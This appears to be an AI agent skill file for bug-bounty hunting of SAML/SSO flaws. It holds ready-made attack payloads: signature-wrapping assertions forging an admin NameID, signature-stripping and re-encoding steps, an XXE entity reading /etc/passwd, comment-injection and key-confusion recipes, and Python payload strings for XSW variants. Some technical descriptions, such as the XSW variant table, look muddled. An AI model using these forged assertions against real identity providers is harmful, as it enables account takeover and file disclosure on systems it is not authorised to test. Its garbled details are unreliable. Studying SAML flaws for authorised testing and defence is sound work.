hunt-saml

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->

Attack 3: Signature Stripping

1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO

Attack 4: XXE in SAML Assertion

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>

Attack 5: NameID Manipulation

Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)

Tools

# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter

SAML Triage

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)

Source: https://portswigger.net/research/the-fragile-lock

The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:

6a. Parser Differentials

Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:

• XML comment boundaries — signer uses C14N without comments, verifier uses C14N with comments, or vice versa. The effective signed value differs from the verified value.
• Whitespace normalization — NameID with trailing spaces, tab-vs-space between attributes, namespace prefix expansion (xmlns:prefix vs inherited default namespace).
• Entity expansion order — Internal entity vs external entity processing order in the parser pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.
• CDATA section handling — <NameID><![CDATA[[email protected]]]></NameID> vs <NameID>[email protected]</NameID> — some parsers strip CDATA, some keep it.

Detection script:

# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.

# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID>  [email protected]  </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

6b. Multi-Signature / Signature Copy

Some SPs accept assertions with MULTIPLE <ds:Signature> elements. An attacker can:

1. Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
2. Strip the original signed assertion, keeping only the <ds:Signature>.
3. Wrap a NEW evil assertion with the copied-signature element attached.

<!-- Attacker copies a valid signature from any previously-seen SAML assertion -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <AttributeStatement>
      <Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
    </AttributeStatement>
  </saml:Assertion>
  <ds:Signature><!-- Copied from another assertion; server verifies it exists, NOT what it covers --></ds:Signature>
</saml:Response>

6c. New XSW Variants (XSW2–XSW8)

Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML libraries that added position-based or ID-based signature binding:

Variant	Technique	Bypasses
XSW2	Move <ds:Signature> INSIDE a child element of the evil assertion	Libraries that verify signature position relative to root
XSW3	Split assertion across XML-comment boundaries in the reference URI	Libraries that use URI-fragment matching
XSW4	Inject a second AssertionIDRef / AuthnStatement inside the signed assertion	Libraries that process all statements, not just first
XSW5	Use xml:id / ID attribute on the INJECTED assertion matching the signed reference's URI	Libraries that match by ID string, not DOM position
XSW6	Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespace	Libraries that key on prefix string
XSW7	XML External Entity (XXE) inside the signature-reference URI to poison the digest check	Libraries that resolve entities during signature validation
XSW8	XSLT transform injection in the <ds:Transform> element — transforms the post-signature DOM	Libraries that apply transforms after verification

Probing script for XSW2–XSW5:

# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Copied valid signature --></ds:Signature>
  </saml:Assertion>
</saml:Response>'''

# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
  <saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
    ...
  </saml:Assertion>
  <saml:Assertion ID="evil"><!-- Not referenced but processed first -->
    <NameID>[email protected]</NameID>
  </saml:Assertion>
</saml:Response>'''

# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature><!-- Valid --></ds:Signature>
    <saml:AuthnStatement><!-- SP reads this one, overrides original -->
      <saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</saml:Response>'''

Triage: Key Confusion Variant

When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not validate <Issuer> or <AudienceRestriction>, the attacker-IdP-signed assertion grants access.

# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected] with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO

---

Verification

Run this self-test to confirm saml hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

---

Pitfalls

• SAML without signature validation — unsigned assertions or WantAssertionsSigned="false" are the primary SAML findings.
• XML signature wrapping (XSW) — classic SAML attack. Test all 8 XSW variants, not just #1.
• SAML Response replay — capturing and replaying a SAML Response within its validity window. Test NotOnOrAfter enforcement.
• SAML-to-JWT confusion — SAML assertions are XML; JWT is JSON. Don't cross-apply attack techniques.
• SP metadata publicly accessible — accessing /saml/metadata is informational. The finding is what the metadata reveals (unsigned requests, weak algorithms).

---

Related Skills & Chains

• hunt-ato — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with [email protected] in primary position + SP processes first assertion (the evil one) + SP doesn't validate <AudienceRestriction> so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
• hunt-auth-bypass — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip <ds:Signature> element entirely → modify <NameID> to admin → re-encode base64 → POST to /saml/acs → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
• hunt-oauth — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
• hunt-xxe — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without disallow-doctype-decl + <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in assertion + <NameID>&xxe;</NameID> → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
• security-arsenal — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.